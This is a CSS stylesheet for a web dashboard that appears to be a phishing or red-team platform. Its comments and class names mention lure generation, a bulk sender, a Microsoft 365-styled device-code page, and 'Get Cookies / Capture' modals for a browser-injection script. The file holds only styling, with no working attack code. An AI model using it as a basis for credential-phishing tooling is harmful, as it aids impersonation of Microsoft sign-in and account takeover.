:root {
    --bg-primary: #050505;
    --bg-sidebar: #080808;
    --bg-header: #0A0A0A;
    --bg-card: #111111;
    --bg-card-secondary: #161616;
    --border-color: #272727;
    --orange-primary: #FF7800;
    --orange-bright: #FF9A3D;
    --orange-dark: #B84F00;
    --text-primary: #F5F5F5;
    --text-muted: #858585;
    --success: #22C55E;
    --warning: #F59E0B;
    --danger: #EF4444;
    --radius: 8px;
    --sidebar-width: 248px;
    --header-height: 68px;
    --tab-height: 44px;
    --transition: 0.2s ease;
}

* { margin: 0; padding: 0; box-sizing: border-box; }
body {
    font-family: 'Inter', -apple-system, sans-serif;
    background: var(--bg-primary);
    color: var(--text-primary);
    height: 100vh;
    overflow: hidden;
    display: flex;
}
::-webkit-scrollbar { width: 4px; height: 4px; }
::-webkit-scrollbar-track { background: var(--bg-primary); }
::-webkit-scrollbar-thumb { background: var(--orange-primary); border-radius: 4px; }
a { color: var(--orange-primary); text-decoration: none; }
button { cursor: pointer; font-family: inherit; border: none; background: none; color: inherit; }
input, select, textarea {
    font-family: inherit;
    background: var(--bg-card-secondary);
    border: 1px solid var(--border-color);
    color: var(--text-primary);
    padding: 8px 12px;
    border-radius: var(--radius);
    outline: none;
    font-size: 0.875rem;
    transition: border var(--transition);
}
input:focus, select:focus, textarea:focus {
    border-color: var(--orange-primary);
    box-shadow: 0 0 0 2px rgba(255,120,0,0.15);
}
input::placeholder, textarea::placeholder { color: var(--text-muted); }
table { width: 100%; border-collapse: collapse; font-size: 0.875rem; }
th {
    text-align: left; padding: 10px 12px; color: var(--text-muted);
    font-weight: 500; border-bottom: 1px solid var(--border-color);
    font-size: 0.7rem; text-transform: uppercase; letter-spacing: 0.03em;
}
td { padding: 10px 12px; border-bottom: 1px solid var(--border-color); vertical-align: middle; }
tr:hover td { background: rgba(255,120,0,0.03); }

/* Sidebar */
.sidebar {
    width: var(--sidebar-width);
    background: var(--bg-sidebar);
    height: 100vh;
    position: fixed;
    top: 0; left: 0;
    display: flex;
    flex-direction: column;
    border-right: 1px solid var(--border-color);
    z-index: 100;
    overflow-y: auto;
    padding: 16px 0 30px;
    flex-shrink: 0;
}
.sidebar-brand {
    padding: 0 20px 20px;
    border-bottom: 1px solid var(--border-color);
    display: flex;
    align-items: center;
    gap: 12px;
}
.sidebar-brand .brand-icon {
    width: 36px; height: 36px;
    background: var(--orange-primary);
    border-radius: var(--radius);
    display: flex; align-items: center; justify-content: center;
    font-size: 18px; font-weight: 700; color: #000;
    flex-shrink: 0;
}
.sidebar-brand .brand-name { font-weight: 700; font-size: 1rem; line-height: 1.2; }
.sidebar-brand .brand-sub {
    font-size: 0.6rem; color: var(--text-muted);
    text-transform: uppercase; letter-spacing: 0.04em;
}
.sidebar-nav { flex: 1; padding: 14px 12px 0; overflow-y: auto; }
.sidebar-nav .nav-section { margin-bottom: 16px; }
.sidebar-nav .nav-section-title {
    font-size: 0.6rem; text-transform: uppercase;
    letter-spacing: 0.06em; color: var(--text-muted);
    padding: 0 10px 6px; font-weight: 600;
}
.sidebar-nav .nav-item {
    display: flex; align-items: center; gap: 10px;
    padding: 7px 12px; border-radius: var(--radius);
    font-size: 0.8rem; font-weight: 500;
    color: var(--text-muted); transition: all var(--transition);
    cursor: pointer; margin-bottom: 1px; position: relative;
}
.sidebar-nav .nav-item i {
    width: 18px; font-size: 0.85rem; text-align: center; flex-shrink: 0;
}
.sidebar-nav .nav-item:hover {
    background: rgba(255,120,0,0.08); color: var(--text-primary);
}
.sidebar-nav .nav-item.active {
    color: var(--orange-primary); background: rgba(255,120,0,0.10);
}
.sidebar-nav .nav-item.active::before {
    content: ''; position: absolute;
    left: 0; top: 4px; bottom: 4px;
    width: 3px; background: var(--orange-primary);
    border-radius: 0 4px 4px 0;
}

/* Running-job indicator */
.job-dot {
    margin-left: auto;
    width: 8px; height: 8px;
    border-radius: 50%;
    background: var(--orange-primary);
    display: inline-block;
    animation: pulse 1.5s infinite;
    flex-shrink: 0;
}
@keyframes pulse {
    0% { opacity: 1; }
    50% { opacity: 0.3; }
    100% { opacity: 1; }
}

/* Main Layout */
.main-wrapper {
    margin-left: var(--sidebar-width);
    flex: 1; display: flex; flex-direction: column;
    height: 100vh; overflow: hidden;
}

/* Header */
.top-header {
    background: var(--bg-header);
    border-bottom: 1px solid var(--border-color);
    height: var(--header-height);
    padding: 0 24px;
    display: flex; align-items: center; justify-content: space-between;
    flex-shrink: 0; gap: 12px;
}
.top-header .left { display: flex; flex-direction: column; min-width: 0; }
.top-header .left .page-title { font-size: 1.05rem; font-weight: 600; line-height: 1.3; }
.top-header .left .page-breadcrumb { font-size: 0.65rem; color: var(--text-muted); }
.top-header .left .page-breadcrumb span { color: var(--orange-primary); }
.top-header .center { flex: 1; max-width: 420px; position: relative; }
.top-header .center .search-input {
    width: 100%; padding: 7px 16px 7px 36px;
    background: var(--bg-card-secondary);
    border: 1px solid var(--border-color);
    border-radius: 20px; font-size: 0.8rem;
}
.top-header .center .search-icon {
    position: absolute; left: 12px; top: 50%; transform: translateY(-50%);
    color: var(--text-muted); font-size: 0.8rem;
}
.top-header .center .search-results {
    position: absolute; top: calc(100% + 4px);
    left: 0; right: 0;
    background: var(--bg-card);
    border: 1px solid var(--border-color);
    border-radius: var(--radius);
    padding: 6px 0; display: none;
    max-height: 280px; overflow-y: auto;
    z-index: 50; box-shadow: 0 12px 40px rgba(0,0,0,0.7);
}
.top-header .center .search-results.open { display: block; }
.top-header .center .search-results .sr-item {
    padding: 6px 14px; font-size: 0.8rem;
    color: var(--text-muted); cursor: pointer;
}
.top-header .center .search-results .sr-item:hover {
    background: rgba(255,120,0,0.06); color: var(--text-primary);
}
.top-header .right { display: flex; align-items: center; gap: 14px; flex-shrink: 0; }
.top-header .right .status-dot {
    display: flex; align-items: center; gap: 6px;
    font-size: 0.7rem; color: var(--text-muted);
}
.top-header .right .status-dot .dot {
    width: 8px; height: 8px; border-radius: 50%; display: inline-block;
}
.top-header .right .status-dot .dot.online { background: var(--success); }
.top-header .right .status-dot .dot.warning { background: var(--warning); }
.top-header .right .status-dot .dot.off { background: var(--danger); }
.avatar {
    width: 34px; height: 34px; border-radius: 50%;
    background: var(--orange-primary);
    display: flex; align-items: center; justify-content: center;
    font-weight: 600; font-size: 0.8rem; color: #000;
    cursor: pointer; border: 2px solid transparent;
}
.avatar:hover { border-color: var(--orange-bright); }
.help-btn {
    font-size: 1.1rem; color: var(--text-muted);
    transition: color var(--transition); padding: 4px;
}
.help-btn:hover { color: var(--orange-primary); }

/* Tab Bar */
.tab-bar {
    background: var(--bg-header);
    border-bottom: 1px solid var(--border-color);
    height: var(--tab-height);
    padding: 0 24px;
    display: flex; align-items: center; gap: 2px;
    flex-shrink: 0; overflow-x: auto;
}
.tab-bar .tab-item {
    padding: 6px 16px; font-size: 0.75rem; font-weight: 500;
    color: var(--text-muted); border-bottom: 2px solid transparent;
    transition: all var(--transition); cursor: pointer;
    white-space: nowrap; height: 100%; display: flex; align-items: center;
}
.tab-bar .tab-item:hover { color: var(--text-primary); background: rgba(255,255,255,0.02); }
.tab-bar .tab-item.active {
    color: var(--orange-primary); border-bottom-color: var(--orange-primary);
}

/* Content */
.content-area {
    flex: 1; overflow-y: auto; padding: 20px 24px 40px;
    background: var(--bg-primary);
}
.view-panel { display: none; animation: fadeUp 0.25s ease; }
.view-panel.active { display: block; }
@keyframes fadeUp {
    from { opacity: 0; transform: translateY(6px); }
    to { opacity: 1; transform: translateY(0); }
}

/* Cards & Stats */
.stat-grid {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(130px, 1fr));
    gap: 12px; margin-bottom: 20px;
}
.stat-card {
    background: var(--bg-card);
    border: 1px solid var(--border-color);
    border-radius: var(--radius);
    padding: 14px 16px;
    transition: border var(--transition);
}
.stat-card:hover { border-color: rgba(255,120,0,0.25); }
.stat-card .stat-label {
    font-size: 0.65rem; text-transform: uppercase;
    letter-spacing: 0.04em; color: var(--text-muted);
}
.stat-card .stat-value { font-size: 1.4rem; font-weight: 700; }
.stat-card .stat-value.orange { color: var(--orange-primary); }
.stat-card .stat-value.green { color: var(--success); }
.stat-card .stat-value.red { color: var(--danger); }

.card {
    background: var(--bg-card);
    border: 1px solid var(--border-color);
    border-radius: var(--radius);
    padding: 16px 18px; margin-bottom: 16px;
}
.card:hover { border-color: rgba(255,120,0,0.10); }
.card .card-header {
    display: flex; justify-content: space-between; align-items: center;
    margin-bottom: 12px;
}
.card .card-header .card-title { font-weight: 600; font-size: 0.9rem; }
.card-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; }
@media (max-width: 900px) { .card-grid { grid-template-columns: 1fr; } }

/* Buttons */
.btn {
    display: inline-flex; align-items: center; gap: 6px;
    padding: 6px 14px; border-radius: var(--radius);
    font-size: 0.75rem; font-weight: 500;
    transition: all var(--transition); border: 1px solid transparent;
}
.btn-primary { background: var(--orange-primary); color: #000; border-color: var(--orange-primary); }
.btn-primary:hover { background: var(--orange-bright); border-color: var(--orange-bright); }
.btn-primary:disabled { opacity: 0.6; cursor: not-allowed; }
.btn-secondary { background: var(--bg-card-secondary); color: var(--text-primary); border-color: var(--border-color); }
.btn-secondary:hover { border-color: var(--orange-primary); }
.btn-secondary:disabled { opacity: 0.6; cursor: not-allowed; }
.btn-outline { background: transparent; color: var(--text-muted); border-color: var(--border-color); }
.btn-outline:hover { border-color: var(--orange-primary); color: var(--text-primary); }
.btn-sm { padding: 4px 10px; font-size: 0.7rem; }

/* Badges */
.badge {
    display: inline-flex; align-items: center;
    padding: 1px 10px; border-radius: 12px;
    font-size: 0.6rem; font-weight: 600;
    text-transform: uppercase; letter-spacing: 0.03em;
}
.badge-orange { background: rgba(255,120,0,0.18); color: var(--orange-primary); }
.badge-green { background: rgba(34,197,94,0.15); color: var(--success); }
.badge-red { background: rgba(239,68,68,0.15); color: var(--danger); }
.badge-warning { background: rgba(245,158,11,0.15); color: var(--warning); }
.badge-muted { background: var(--bg-card-secondary); color: var(--text-muted); }

/* Forms */
.form-group { margin-bottom: 12px; }
.form-group label {
    display: block; font-size: 0.75rem; font-weight: 500;
    margin-bottom: 4px; color: var(--text-muted);
}
.form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; }
@media (max-width: 600px) { .form-row { grid-template-columns: 1fr; } }
.filter-bar {
    display: flex; flex-wrap: wrap; gap: 8px;
    margin-bottom: 14px; align-items: center;
}
.filter-bar input[type="text"] { flex: 1; min-width: 100px; }

/* Modal */
.modal-overlay {
    position: fixed; inset: 0;
    background: rgba(0,0,0,0.75);
    backdrop-filter: blur(6px);
    z-index: 999;
    display: none;
    align-items: center; justify-content: center;
    padding: 20px;
}
.modal-overlay.open { display: flex; }
.modal {
    background: var(--bg-card);
    border: 1px solid var(--border-color);
    border-radius: var(--radius);
    max-width: 540px; width: 100%;
    max-height: 90vh; overflow-y: auto;
    padding: 28px;
    box-shadow: 0 24px 64px rgba(0,0,0,0.9);
}
/* Wider modal for the rule editor */
.modal.modal-wide { max-width: 720px; }
.modal .modal-title { font-size: 1.05rem; font-weight: 600; margin-bottom: 4px; }
.modal .modal-sub { font-size: 0.8rem; color: var(--text-muted); margin-bottom: 16px; }
.modal .modal-actions {
    display: flex; justify-content: flex-end; gap: 10px; margin-top: 16px;
}

/* Rule editor rows */
.rule-cond-row {
    display: flex; gap: 6px; margin-bottom: 6px; align-items: center;
}
.rule-cond-row select,
.rule-cond-row input {
    background: var(--bg-card-secondary);
    border: 1px solid var(--border-color);
    color: var(--text-primary);
    padding: 6px 10px;
    border-radius: var(--radius);
    font-size: 0.8rem;
    outline: none;
}
.rule-cond-row select:focus,
.rule-cond-row input:focus {
    border-color: var(--orange-primary);
    box-shadow: 0 0 0 2px rgba(255,120,0,0.15);
}
.rule-cond-row .rc-field { width: 130px; }
.rule-cond-row .rc-op { width: 140px; }
.rule-cond-row .rc-value { flex: 1; min-width: 0; }
.rule-cond-row button {
    padding: 6px 10px;
    background: transparent;
    border: 1px solid var(--border-color);
    border-radius: var(--radius);
    color: var(--text-muted);
    transition: all var(--transition);
}
.rule-cond-row button:hover {
    border-color: var(--danger);
    color: var(--danger);
}

/* Rule run progress bar (used in Mail Rules view) */
.rule-run-progress {
    height: 4px;
    background: #222;
    border-radius: 4px;
    overflow: hidden;
    margin-top: 8px;
}
.rule-run-progress > div {
    height: 100%;
    width: 0%;
    background: var(--orange-primary);
    transition: width 0.3s;
}

/* Bulk sender / extractor progress bars */
.progress-track {
    height: 4px;
    background: #222;
    border-radius: 4px;
    overflow: hidden;
    margin-top: 8px;
}
.progress-track > div {
    height: 100%;
    width: 0%;
    background: var(--orange-primary);
    transition: width 0.3s;
}

/* Toast */
.toast-container {
    position: fixed; bottom: 20px; right: 20px;
    z-index: 1000;
    display: flex; flex-direction: column; gap: 8px;
    max-width: 360px;
}
.toast {
    background: var(--bg-card);
    border: 1px solid var(--border-color);
    border-radius: var(--radius);
    padding: 12px 16px; font-size: 0.8rem;
    box-shadow: 0 8px 32px rgba(0,0,0,0.5);
    animation: slideIn 0.25s ease;
    display: flex; align-items: center; gap: 10px;
    border-left: 3px solid var(--orange-primary);
}
.toast.success { border-left-color: var(--success); }
.toast.error { border-left-color: var(--danger); }
.toast .toast-icon { font-size: 1rem; color: var(--orange-primary); }
.toast.success .toast-icon { color: var(--success); }
.toast.error .toast-icon { color: var(--danger); }
@keyframes slideIn {
    from { opacity: 0; transform: translateX(20px); }
    to { opacity: 1; transform: translateX(0); }
}

/* Help panel */
.help-panel {
    position: fixed; top: 0; right: -420px;
    width: 420px; max-width: 100%;
    height: 100vh;
    background: var(--bg-card);
    border-left: 1px solid var(--border-color);
    z-index: 998;
    transition: right 0.28s ease;
    display: flex; flex-direction: column;
    box-shadow: -20px 0 60px rgba(0,0,0,0.6);
}
.help-panel.open { right: 0; }
.help-panel .help-header {
    display: flex; justify-content: space-between; align-items: center;
    padding: 18px 22px;
    border-bottom: 1px solid var(--border-color);
}
.help-panel .help-title { font-weight: 600; font-size: 1rem; }
.help-panel .help-close { font-size: 1.1rem; color: var(--text-muted); }
.help-panel .help-close:hover { color: var(--orange-primary); }
.help-panel .help-body { flex: 1; overflow-y: auto; padding: 20px 22px; }
.help-overlay {
    display: none; position: fixed; inset: 0;
    background: rgba(0,0,0,0.5); z-index: 997;
}
.help-overlay.open { display: block; }

/* Device code section (admin panel) */
.device-code-section { padding: 4px 0; }
.device-code-header h3 { font-size: 1.05rem; font-weight: 600; margin-bottom: 4px; }
.device-code-box {
    background: #0A0A0A;
    border: 2px solid var(--orange-primary);
    border-radius: 12px;
    padding: 24px;
    text-align: center;
    margin: 20px 0;
}
.device-code-label {
    color: var(--text-muted); font-size: 11px;
    text-transform: uppercase; letter-spacing: 0.08em;
}
.device-code-url { color: var(--text-primary); font-weight: 500; margin: 6px 0 16px; }
.device-code-value {
    font-family: 'Consolas', monospace;
    font-size: 36px; font-weight: 700; letter-spacing: 6px;
    color: var(--orange-primary);
    padding: 12px; background: rgba(255,120,0,0.05);
    border-radius: 8px; margin-bottom: 12px;
}
.device-code-expiry { color: var(--text-muted); font-size: 0.75rem; }
.device-code-actions {
    display: flex; gap: 8px; justify-content: center; margin-top: 12px;
}
.device-status {
    text-align: center; padding: 12px;
    color: var(--text-muted); font-size: 0.85rem;
}
.device-error {
    color: var(--danger); background: rgba(239,68,68,0.1);
    border: 1px solid var(--danger);
    border-radius: 8px; padding: 10px 14px;
    font-size: 0.85rem; margin-top: 12px;
}
.device-success {
    display: flex; align-items: center; gap: 12px;
    padding: 16px; background: rgba(34,197,94,0.08);
    border: 1px solid rgba(34,197,94,0.3);
    border-radius: 10px; margin-bottom: 16px;
}
.device-success i { font-size: 24px; color: var(--success); }

/* Utilities */
.flex { display: flex; }
.flex-between { display: flex; justify-content: space-between; align-items: center; }
.gap-2 { gap: 8px; }
.mt-2 { margin-top: 8px; }
.mb-2 { margin-bottom: 8px; }
.text-muted { color: var(--text-muted); }
.text-sm { font-size: 0.78rem; }
.text-xs { font-size: 0.7rem; }
.fw-600 { font-weight: 600; }
.table-wrap { overflow-x: auto; }
.action-icons { display: flex; gap: 8px; color: var(--text-muted); font-size: 0.85rem; }
.action-icons i { cursor: pointer; transition: color var(--transition); }
.action-icons i:hover { color: var(--orange-primary); }
.sidebar-toggle { display: none; font-size: 1.2rem; color: var(--text-muted); padding: 4px 8px; }
.sidebar-overlay {
    display: none; position: fixed; inset: 0;
    background: rgba(0,0,0,0.5); z-index: 99;
}
.sidebar-overlay.open { display: block; }

/* Template gallery */
.template-gallery {
    display: grid; grid-template-columns: 1fr 1fr;
    gap: 12px; margin-top: 8px;
}
.template-card {
    background: var(--bg-card-secondary);
    border: 1px solid var(--border-color);
    border-radius: 10px; padding: 16px;
    cursor: pointer; transition: all 0.15s ease;
    display: flex; gap: 12px; align-items: flex-start;
}
.template-card:hover {
    border-color: var(--orange-primary);
    background: rgba(255,120,0,0.04);
    transform: translateY(-2px);
}
.template-icon {
    width: 40px; height: 40px; border-radius: 8px;
    background: rgba(255,120,0,0.12);
    color: var(--orange-primary);
    display: flex; align-items: center; justify-content: center;
    font-size: 18px; flex-shrink: 0;
}
.template-info { flex: 1; }
.template-name {
    font-weight: 600; font-size: 0.9rem;
    color: var(--text-primary); margin-bottom: 4px;
}
.template-desc { font-size: 0.75rem; color: var(--text-muted); line-height: 1.4; }

/* Landing page editor */
.lp-editor { display: flex; flex-direction: column; gap: 12px; }
.lp-editor-toolbar {
    display: flex; flex-wrap: wrap; gap: 4px; padding: 8px;
    background: var(--bg-card-secondary);
    border: 1px solid var(--border-color);
    border-radius: 8px;
}
.lp-editor-toolbar button {
    background: transparent; border: 1px solid transparent;
    color: var(--text-muted); padding: 6px 10px;
    border-radius: 6px; font-size: 0.8rem;
    cursor: pointer; transition: all 0.15s;
    min-width: 32px;
}
.lp-editor-toolbar button:hover {
    background: rgba(255,120,0,0.12);
    color: var(--orange-primary);
    border-color: rgba(255,120,0,0.3);
}
.lp-toolbar-sep { width: 1px; background: var(--border-color); margin: 4px 6px; }
.lp-editor-split {
    display: grid; grid-template-columns: 1fr 1fr;
    gap: 12px; height: 380px;
}
.lp-editor-source {
    width: 100%; height: 100%;
    background: #0A0A0A; color: var(--text-primary);
    border: 1px solid var(--border-color);
    border-radius: 8px; padding: 14px;
    font-family: 'Consolas', monospace;
    font-size: 0.8rem; line-height: 1.6;
    resize: none; outline: none;
}
.lp-editor-source:focus {
    border-color: var(--orange-primary);
    box-shadow: 0 0 0 2px rgba(255,120,0,0.12);
}
.lp-editor-preview {
    width: 100%; height: 100%;
    background: #FFFFFF; color: #1a1a1a;
    border: 1px solid var(--border-color);
    border-radius: 8px; padding: 16px;
    overflow-y: auto; font-size: 0.85rem; line-height: 1.55;
}
.lp-editor-fields {
    display: grid; grid-template-columns: 1fr 1fr 1fr; gap: 12px;
}

/* MS365 awareness template */
.m365-awareness {
    font-family: 'Segoe UI', -apple-system, sans-serif;
    max-width: 520px; margin: 0 auto; color: #1a1a1a;
}
.m365-header { display: flex; align-items: center; gap: 10px; margin-bottom: 24px; }
.m365-brand { font-size: 15px; font-weight: 600; color: #5e5e5e; }
.m365-title { font-size: 24px; font-weight: 600; margin-bottom: 6px; color: #1a1a1a; }
.m365-subtitle { color: #666; margin-bottom: 24px; font-size: 14px; }
.m365-code-box {
    background: #f3f2f1; border: 1px solid #e1dfdd;
    border-radius: 8px; padding: 24px; text-align: center; margin: 20px 0;
}
.m365-code-label {
    font-size: 12px; color: #605e5c;
    text-transform: uppercase; letter-spacing: 0.04em; margin-bottom: 12px;
}
.m365-code-value {
    font-family: 'Consolas', monospace; font-size: 32px;
    font-weight: 700; letter-spacing: 4px;
    color: #0067b8; margin-bottom: 12px;
}
.m365-code-url { font-size: 13px; color: #0078d4; margin-bottom: 8px; }
.m365-code-note {
    font-size: 12px; color: #a80000;
    padding-top: 12px; border-top: 1px solid #e1dfdd; margin-top: 12px;
}
.m365-tips { margin-top: 24px; }
.m365-tips h3 { font-size: 16px; font-weight: 600; margin: 20px 0 10px; color: #1a1a1a; }
.m365-tips ul, .m365-tips ol {
    margin: 8px 0 14px 22px; color: #444;
    font-size: 14px; line-height: 1.6;
}
.m365-tips li { margin-bottom: 6px; }
.m365-tips code {
    background: #f3f2f1; padding: 1px 5px;
    border-radius: 3px; font-family: 'Consolas', monospace;
    font-size: 12px; color: #a80000;
}
.m365-footer {
    margin-top: 32px; padding-top: 16px;
    border-top: 1px solid #e1dfdd; text-align: center;
    font-size: 12px; color: #999;
}

/* Responsive */
@media (max-width: 1024px) {
    :root { --sidebar-width: 0px; }
    .sidebar { transform: translateX(-100%); transition: transform 0.25s ease; width: 260px; }
    .sidebar.open { transform: translateX(0); }
    .sidebar-toggle { display: flex !important; }
    .main-wrapper { margin-left: 0; }
    .top-header .center { max-width: 200px; }
}
@media (max-width: 768px) {
    .top-header {
        padding: 0 12px; flex-wrap: wrap;
        height: auto; min-height: var(--header-height); gap: 6px;
    }
    .top-header .center { order: 3; flex: 1 1 100%; max-width: 100%; margin: 0; }
    .top-header .right .status-dot { display: none; }
    .tab-bar { padding: 0 12px; }
    .tab-bar .tab-item { padding: 4px 10px; font-size: 0.7rem; }
    .content-area { padding: 12px; }
    .stat-grid { grid-template-columns: repeat(2, 1fr); }
    .card-grid { grid-template-columns: 1fr; }
    .modal { padding: 16px; width: 95%; }
    .modal.modal-wide { max-width: 95%; }
    .filter-bar { flex-direction: column; align-items: stretch; }
    .template-gallery { grid-template-columns: 1fr; }
    .lp-editor-split { grid-template-columns: 1fr; height: auto; }
    .lp-editor-fields { grid-template-columns: 1fr; }
    .rule-cond-row { flex-wrap: wrap; }
    .rule-cond-row .rc-field,
    .rule-cond-row .rc-op,
    .rule-cond-row .rc-value { width: 100%; }
}

/* ============================================================
   Modal: split layout + inline error
   ============================================================ */
.modal.modal-split { max-width: 1100px; }
.modal .modal-error {
    background: rgba(239, 68, 68, 0.1);
    border: 1px solid var(--danger);
    color: var(--danger);
    border-radius: 8px;
    padding: 10px 14px;
    font-size: 0.8rem;
    margin-top: 10px;
    display: none;
}
.modal .modal-error.visible { display: block; }

/* ============================================================
   Landing-page editor (split)
   ============================================================ */
.lp-split {
    display: grid;
    grid-template-columns: 400px 1fr;
    gap: 18px;
    min-height: 62vh;
}
.lp-pane-form {
    min-width: 0;
    max-height: 62vh;
    overflow-y: auto;
    padding-right: 4px;
}
.lp-pane-preview {
    min-width: 0;
    display: flex;
    flex-direction: column;
}
.lp-preview-frame {
    width: 100%;
    flex: 1;
    min-height: 480px;
    border: 1px solid var(--border-color);
    border-radius: 10px;
    background: #fff;
}

/* Field grouping */
.lp-field-pane { margin-top: 6px; }
.lp-field-group { margin-bottom: 18px; }
.lp-field-group-title {
    font-size: 0.65rem;
    text-transform: uppercase;
    letter-spacing: 0.08em;
    color: var(--text-muted);
    margin-bottom: 8px;
    font-weight: 600;
}
.lp-field-input { display: flex; gap: 6px; align-items: center; }
.lp-field-input input { flex: 1; min-width: 0; }
.lp-field-reset {
    background: transparent;
    border: 1px solid var(--border-color);
    color: var(--text-muted);
    width: 32px;
    height: 32px;
    border-radius: var(--radius);
    flex-shrink: 0;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: all var(--transition);
}
.lp-field-reset:hover:not(:disabled) {
    border-color: var(--orange-primary);
    color: var(--orange-primary);
}
.lp-field-reset:disabled { opacity: 0.3; cursor: not-allowed; }

/* Background presets */
.lp-bg-row { display: flex; gap: 6px; flex-wrap: wrap; align-items: center; }
.lp-bg-swatch {
    width: 28px; height: 28px;
    border-radius: 6px;
    border: 1px solid var(--border-color);
    cursor: pointer;
    padding: 0;
    transition: transform 0.15s, border-color 0.15s;
}
.lp-bg-swatch:hover {
    transform: scale(1.1);
    border-color: var(--orange-primary);
}
.lp-bg-row input[type="color"] {
    width: 32px; height: 28px;
    padding: 0;
    border-radius: 6px;
    border: 1px solid var(--border-color);
    background: transparent;
    cursor: pointer;
}
.lp-bg-row input#lpBg { flex: 1; min-width: 160px; }

/* ============================================================
   Lure generator (split)
   ============================================================ */
.lure-split {
    display: grid;
    grid-template-columns: 400px 1fr;
    gap: 18px;
    min-height: 62vh;
}
.lure-form {
    min-width: 0;
    max-height: 62vh;
    overflow-y: auto;
    padding-right: 4px;
}
.lure-preview {
    min-width: 0;
    display: flex;
    flex-direction: column;
}
.lure-result {
    background: rgba(34, 197, 94, 0.06);
    border: 1px solid rgba(34, 197, 94, 0.3);
    border-radius: 10px;
    padding: 14px;
    margin-bottom: 12px;
}

/* Domain chips */
.chip-row { display: flex; flex-wrap: wrap; gap: 6px; }
.chip {
    display: inline-flex;
    align-items: center;
    gap: 6px;
    padding: 4px 12px;
    border-radius: 20px;
    border: 1px solid var(--border-color);
    background: var(--bg-card-secondary);
    color: var(--text-muted);
    font-size: 0.72rem;
    font-weight: 500;
    cursor: pointer;
    transition: all var(--transition);
}
.chip:hover { border-color: var(--orange-primary); color: var(--text-primary); }
.chip.selected {
    background: rgba(255, 120, 0, 0.15);
    border-color: var(--orange-primary);
    color: var(--orange-primary);
}
.chip-dot {
    width: 6px; height: 6px;
    border-radius: 50%;
    background: var(--text-muted);
    flex-shrink: 0;
}
.chip-dot.ok { background: var(--success); }
.chip-dot.warn { background: var(--warning); }

/* ============================================================
   Responsive additions
   ============================================================ */
@media (max-width: 900px) {
    .modal.modal-split { max-width: 95%; }
    .lp-split,
    .lure-split { grid-template-columns: 1fr; }
    .lp-pane-form,
    .lure-form { max-height: none; }
    .lp-pane-preview,
    .lure-preview { min-height: 420px; }
}

/* ============================================================
   Broker / capture styles
   ============================================================ */

/* Tighter, monospaced textarea for the browser-injection script
   shown in the Get Cookies / Capture detail modals. */
.capture-script-area,
textarea.capture-script-area {
    width: 100%;
    font-family: 'Consolas', 'Courier New', monospace;
    font-size: 0.72rem;
    line-height: 1.5;
    background: #0A0A0A;
    color: #F5F5F5;
    border: 1px solid var(--border-color);
    border-radius: 6px;
    padding: 10px 12px;
    resize: vertical;
    min-height: 180px;
    outline: none;
    white-space: pre;
    overflow: auto;
}
.capture-script-area:focus {
    border-color: var(--orange-primary);
    box-shadow: 0 0 0 2px rgba(255,120,0,0.15);
}

/* Extra visual weight on the browser-script textareas created inline
   (the ones in acctScriptArea / captureScriptArea use raw inline styles,
   but if we ever switch to classes this is what they'll use). */
textarea[id$="ScriptArea"] {
    tab-size: 2;
}

/* Broker status pill shown next to the roadtx indicator */
.broker-status {
    display: inline-flex;
    align-items: center;
    gap: 6px;
    font-size: 0.7rem;
    padding: 3px 10px;
    border-radius: 20px;
    background: var(--bg-card-secondary);
    color: var(--text-muted);
    border: 1px solid var(--border-color);
}
.broker-status.ready   { background: rgba(34,197,94,0.10); color: var(--success); border-color: rgba(34,197,94,0.25); }
.broker-status.running { background: rgba(245,158,11,0.10); color: var(--warning); border-color: rgba(245,158,11,0.25); }
.broker-status.failed  { background: rgba(239,68,68,0.10);  color: var(--danger);  border-color: rgba(239,68,68,0.25); }

/* Capture-mode pill (used inside the Lures / Deployments table) */
.mode-pill {
    display: inline-flex;
    align-items: center;
    gap: 4px;
    padding: 1px 10px;
    border-radius: 12px;
    font-size: 0.6rem;
    font-weight: 600;
    text-transform: uppercase;
    letter-spacing: 0.03em;
}
.mode-pill.broker { background: rgba(255,120,0,0.18); color: var(--orange-primary); }
.mode-pill.graph  { background: var(--bg-card-secondary); color: var(--text-muted); }

/* Small helper used inside the "roadtx ready" indicator row in Accounts / Captures */
.roadtx-indicator {
    display: inline-flex;
    align-items: center;
    gap: 6px;
    font-size: 0.72rem;
    color: var(--text-muted);
}
.roadtx-indicator.ready { color: var(--success); }
.roadtx-indicator.missing { color: var(--danger); }

/* ============================================================
   Full-screen modals (template editor + lure preview)
   ============================================================ */
.modal.modal-fullscreen {
    max-width: 96vw;
    width: 96vw;
    max-height: 94vh;
    height: 94vh;
    padding: 20px 28px;
    overflow: hidden;
    display: flex;
    flex-direction: column;
}
.modal.modal-fullscreen #modalBody {
    flex: 1;
    min-height: 0;
    overflow: hidden;
    display: flex;
    flex-direction: column;
}

/* Template editor grid */
.modal.modal-fullscreen .lure-edit-full {
    display: grid;
    grid-template-columns: minmax(360px, 1fr) 1.4fr;
    gap: 18px;
    flex: 1;
    min-height: 0;
}
.modal.modal-fullscreen .lure-edit-fields {
    max-height: 100%;
    overflow-y: auto;
    padding-right: 14px;
    border-right: 1px solid var(--border-color);
}
.modal.modal-fullscreen .lure-edit-preview {
    display: flex;
    flex-direction: column;
    min-width: 0;
    min-height: 0;
}
.modal.modal-fullscreen .lure-edit-preview .lp-preview-frame {
    flex: 1;
    min-height: 0;
    width: 100%;
}

/* Live preview inside fullscreen modals */
.modal.modal-fullscreen #lurePreviewFrame {
    flex: 1;
    width: 100%;
    min-height: 0;
    border: 1px solid var(--border-color);
    border-radius: 8px;
    background: #fff;
}

/* Make the preview body itself a column that stretches */
.modal.modal-fullscreen .lure-preview-full {
    display: flex;
    flex-direction: column;
    flex: 1;
    min-height: 0;
}

@media (max-width: 900px) {
    .modal.modal-fullscreen {
        max-width: 98vw;
        width: 98vw;
        max-height: 96vh;
        height: 96vh;
    }
    .modal.modal-fullscreen .lure-edit-full {
        grid-template-columns: 1fr;
    }
    .modal.modal-fullscreen .lure-edit-fields {
        border-right: none;
        border-bottom: 1px solid var(--border-color);
        max-height: 40vh;
        padding-right: 0;
        padding-bottom: 14px;
    }
}